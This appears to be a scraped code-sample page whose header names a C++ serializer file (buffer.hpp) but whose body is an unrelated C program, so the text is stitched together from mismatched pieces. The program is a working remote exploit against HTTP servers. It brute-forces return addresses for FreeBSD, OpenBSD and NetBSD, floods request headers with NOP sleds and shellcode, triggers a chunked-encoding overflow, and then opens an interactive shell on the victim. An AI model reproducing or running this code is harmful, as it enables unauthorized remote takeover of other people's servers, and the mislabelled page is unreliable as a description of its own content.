示例#1
0
文件: buffer.hpp 项目: culiu/sma
 SERIALIZER()
 {
   PUT_FIELD(SizeT(sz));
   if (sz != 0)
     PUT_BYTES(data.get(), sz);
 }
int main(int argc, char *argv[]) {
	char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
	u_char buf[512], *expbuf, *p;
	int i, j, lport, sock;
	int bruteforce, owned, progress, sc_timeout = 5;
	int responses, shown_length = 0;
	struct in_addr ia;
	struct sockaddr_in sin, from;
	struct hostent *he;


	if(argc < 4)
		usage();

	bruteforce = 0;
	memset(&victim, 0, sizeof(victim));
	while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
		switch(i) {
			/* required stuff */
			case 'h':
			hostp = strtok(optarg, ":");
			if((portp = strtok(NULL, ":")) == NULL)
				portp = "80";
			break;

			/* predefined targets */
			case 't':
			if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) {
				printf("Invalid target\n");
				return -1;
			}

			memcpy(&victim, &targets[atoi(optarg)], sizeof(victim));
			break;

			/* bruteforce! */
			case 'b':
			bruteforce++;
			victim.type = "Custom target";
			victim.retaddr = strtoul(optarg, NULL, 16);
			printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr);
			break;

			case 'd':
			victim.delta = atoi(optarg);
			printf("Using %d as delta\n", victim.delta);
			break;

			case 'r':
			victim.repretaddr = atoi(optarg);
			printf("Repeating the return address %d times\n", victim.repretaddr);
			break;

			case 'z':
			victim.repzero = atoi(optarg);
			printf("Number of zeroes will be %d\n", victim.repzero);
			break;

			case 'o':
			bruteforce++;
			switch(*optarg) {
				case 'f':
				victim.type = "FreeBSD";
				victim.retaddr = 0x80a0000;
				victim.delta = -150;
				victim.repretaddr = 6;
				victim.repzero = 36;
				break;

				case 'o':
				victim.type = "OpenBSD";
				victim.retaddr = 0x80000;
				victim.delta = -146;
				victim.repretaddr = 6;
				victim.repzero = 36;
				break;

				case 'n':
				victim.type = "NetBSD";
				victim.retaddr = 0x080e0000;
				victim.delta = -90;
				victim.repretaddr = 5;
				victim.repzero = 42;
				break;

				default:
				printf("[-] Better luck next time!\n");
				break;
			}
			break;

			/* optional stuff */
			case 'w':
			sc_timeout = atoi(optarg);
			printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout);
			break;

			case 'c':
			cmdz = optarg;
			break;

			default:
			usage();
			break;
		}
	}

	if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) {
		printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n");
		return -1;
	}

	printf("[*] Resolving target host.. ");
	fflush(stdout);
	he = gethostbyname(hostp);
	if(he)
		memcpy(&ia.s_addr, he->h_addr, 4);
	else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
		printf("There'z no %s on this side of the Net!\n", hostp);
		return -1;
	}

	printf("%s\n", inet_ntoa(ia));


	srand(getpid());
	signal(SIGPIPE, SIG_IGN);
	for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) {
		/* skip invalid return adresses */
		if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4))
			continue;


		sock = socket(PF_INET, SOCK_STREAM, 0);
		sin.sin_family = PF_INET;
		sin.sin_addr.s_addr = ia.s_addr;
		sin.sin_port = htons(atoi(portp));
		if(!progress)
			printf("[*] Connecting.. ");

		fflush(stdout);
		if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
			perror("connect()");
			exit(1);
		}

		if(!progress)
			printf("connected!\n");


		p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
				    + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero
				    + 1024) * REP_POPULATOR));

		PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n");

		for (i = 0; i < REP_SHELLCODE; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_3, PADDING_3);
			PUT_STRING(": ");
			PUT_BYTES(NOPCOUNT, NOP);
			memcpy(p, shellcode, sizeof(shellcode) - 1);
			p += sizeof(shellcode) - 1;
			PUT_STRING("\r\n");
		}

		for (i = 0; i < REP_POPULATOR; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_1, PADDING_1);
			PUT_STRING(": ");
			for (j = 0; j < victim.repretaddr; j++) {
				*p++ = victim.retaddr & 0xff;
				*p++ = (victim.retaddr >> 8) & 0xff;
				*p++ = (victim.retaddr >> 16) & 0xff;
				*p++ = (victim.retaddr >> 24) & 0xff;
			}

			PUT_BYTES(victim.repzero, 0);
			PUT_STRING("\r\n");
		}

		PUT_STRING("Transfer-Encoding: chunked\r\n");
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
		PUT_STRING(buf);
		PUT_BYTES(PADSIZE_2, PADDING_2);
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta);
		PUT_STRING(buf);
		
		if(!shown_length) {
			printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
			shown_length = 1; 
		}
		
		write(sock, expbuf, p - expbuf);

		progress++;
		if((progress%70) == 0)
			progress = 1;

		if(progress == 1) {
			printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr);
			for(i = 0; i < 40; i ++)
				printf(" ");
			printf("\n");
			if(bruteforce)
				putchar(';');
		}
		else
			putchar(((rand()>>8)%2)? 'P': 'p');


		fflush(stdout);
		responses = 0;
		while (1) {
			fd_set          fds;
			int             n;
			struct timeval  tv;

			tv.tv_sec = sc_timeout;
			tv.tv_usec = 0;

			FD_ZERO(&fds);
			FD_SET(0, &fds);
			FD_SET(sock, &fds);
	
			memset(buf, 0, sizeof(buf));
			if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) {
				if(FD_ISSET(sock, &fds)) {
					if((n = read(sock, buf, sizeof(buf) - 1)) < 0)
						break;

					if(n >= 1)
					{
						if(!owned)
						{
							for(i = 0; i < n; i ++)
								if(buf[i] == 'G')
									responses ++;
								else
									responses = 0;
							if(responses >= 2)
							{
								owned = 1;
								write(sock, "O", 1);
								write(sock, cmdz, strlen(cmdz));
								printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero);
								printf("Experts say this isn't exploitable, so nothing will happen now: ");
								fflush(stdout);
							}
						} else
  							write(1, buf, n);
  					}
				}

				if(FD_ISSET(0, &fds)) {
					if((n = read(0, buf, sizeof(buf) - 1)) < 0)
						exit(1);

					write(sock, buf, n);
				}

			}

			if(!owned)
				break;
		}

		free(expbuf);
		close(sock);

		if(owned)
			return 0;

		if(!bruteforce) {
			fprintf(stderr, "Ooops.. hehehe!\n");
			return -1;
		}
	}

	return 0;
}